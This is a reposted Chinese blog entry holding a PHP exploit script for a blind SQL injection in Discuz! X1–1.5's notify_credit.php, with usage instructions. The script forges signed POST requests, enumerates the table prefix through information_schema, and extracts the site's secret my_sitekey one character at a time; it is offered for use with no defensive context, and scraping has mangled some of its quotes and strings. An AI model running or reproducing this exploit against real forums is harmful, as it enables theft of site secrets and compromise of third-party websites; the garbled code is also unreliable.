DiscuzX1-1.5Sql0day!!

技術小美發表於2017-11-09

 RT~


  1. <?php 
  2. print_r(` 
  3. +—————————————————————————+ 
  4. Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit 
  5. by toby57    2010.11.05 
  6. mail: toby57 at 163 dot com 
  7. team: http://www.wolvez.org 
  8. +—————————————————————————+ 
  9. `); 
  10. if ($argc < 2) { 
  11.     print_r(` 
  12. +—————————————————————————+ 
  13. Usage: php `.$argv[0].` url [pre] 
  14. Example: 
  15. php `.$argv[0].` http://localhost/ 
  16. php `.$argv[0].` http://localhost/ xss_ 
  17. +—————————————————————————+ 
  18. `); 
  19.     exit
  20. error_reporting(7); 
  21. ini_set(`max_execution_time`, 0); 
  22. $url = $argv[1]; 
  23. $pre = $argv[2]?$argv[2]:`pre_`
  24. $target = parse_url($url); 
  25. extract($target); 
  26. $path .= `/api/trade/notify_credit.php`
  27. $hash = array(); 
  28. $hash = array_merge($hash, range(48, 57)); 
  29. $hash = array_merge($hash, range(97, 102)); 
  30.  
  31. $tmp_expstr = “`”
  32. $res = send(); 
  33. if(strpos($res,`SQL syntax`)==false){var_dump($res);die(`Oooops.I can NOT hack it.`);} 
  34. preg_match(`/FROMs([a-zA-Z_]+)forum_order/`,$res,$match); 
  35. if($match[1])$pre = $match[1]; 
  36. $tmp_expstr = “` UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE “=`”
  37. $res = send(); 
  38. if(strpos($res,“doesn`t exist”)!==false){ 
  39.     echo “Table_pre is WRONG!
    Ready to Crack It.Please Waiting..
  40.     for($i = 1;$i<20;$i++){ 
  41.     $tmp_expstr = “` UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE `%forum_post_tableid%` AND LENGTH(REPLACE(table_name,`forum_post_tableid`,“))=$i AND “=`”
  42.     $res = send(); 
  43.  
  44.     if(strpos($res,`SQL syntax`)!==false){   
  45.  
  46.     $pre = 
  47.     $hash2 = array(); 
  48.     $hash2 = array_merge($hash2, range(48, 57)); 
  49.     $hash2 = array_merge($hash2, range(97, 122)); 
  50.     $hash2[] = 95; 
  51.     for($j = 1;$j <= $i$j++){ 
  52.     for ($k = 0; $k <= 255; $k++) { 
  53.     if(in_array($k$hash2)) { 
  54.     $char = dechex($k); 
  55.     $tmp_expstr = “` UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE `%forum_post_tableid%` AND MID(REPLACE(table_name,`forum_post_tableid`,“),$j,1)=0x{$char} AND “=`”
  56.     $res = send(); 
  57.     if(strpos($res,`SQL syntax`)!==false){ 
  58.         echo chr($k); 
  59.         $pre .= chr($k);break
  60.     }  
  61.     }  
  62.     }     
  63.     }     
  64.     if(strlen($pre)){echo 
    Cracked…Table_Pre:”
    .$pre.
    ;break;}else{die(`GET Table_pre Failed..`);}; 
  65.     }    }    }; 
  66. echo “Please Waiting….
  67. $sitekey = 
  68. for($i = 1;$i <= 32; $i++){ 
  69.   for ($k = 0; $k <= 255; $k++) { 
  70.     if(in_array($k$hash)) { 
  71.     $char = dechex($k); 
  72. $tmp_expstr = “` UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND “=`”
  73. $res = send(); 
  74. if(strpos($res,`SQL syntax`)!==false){ 
  75.         echo chr($k); 
  76.         $sitekey .= chr($k);break
  77. }}}} 
  78. if(strlen($sitekey)!=32)die(
    .`can NOT get the my_sitekey..`); 
  79. echo 
    .`Exploit Successfully.`.
    my_sitekey:{$sitekey}”
  80. exit
  81.  
  82. function sign($exp_str){ 
  83.     return md5(“attach=tenpay&mch_vno={$exp_str}&retcode=0&key=”); 
  84.  
  85. function send(){ 
  86.     global $host$path$tmp_expstr
  87.      
  88.     $expdata = “attach=tenpay&retcode=0&trade_no=%2527&mch_vno=”.urlencode(urlencode($tmp_expstr)).“&sign=”.sign($tmp_expstr); 
  89.     $data  = “POST $path HTTP/1.1
  90.     $data .= “Host: $host
  91.     $data .= “Content-Type: application/x-www-form-urlencoded
  92.     $data .= “Content-Length: “.strlen($expdata).
  93.     $data .= “Connection: Close

  94.     $data .= $expdata
  95.     $fp = fsockopen($host, 80); 
  96.     fputs($fp$data); 
  97.     $resp = 
  98.     while ($fp && !feof($fp)) 
  99.         $resp .= fread($fp, 1024); 
  100.     return $resp
  101. }   
  102. ?> 

 

本文轉hackfreer51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/579638,如需轉載請自行聯絡原作者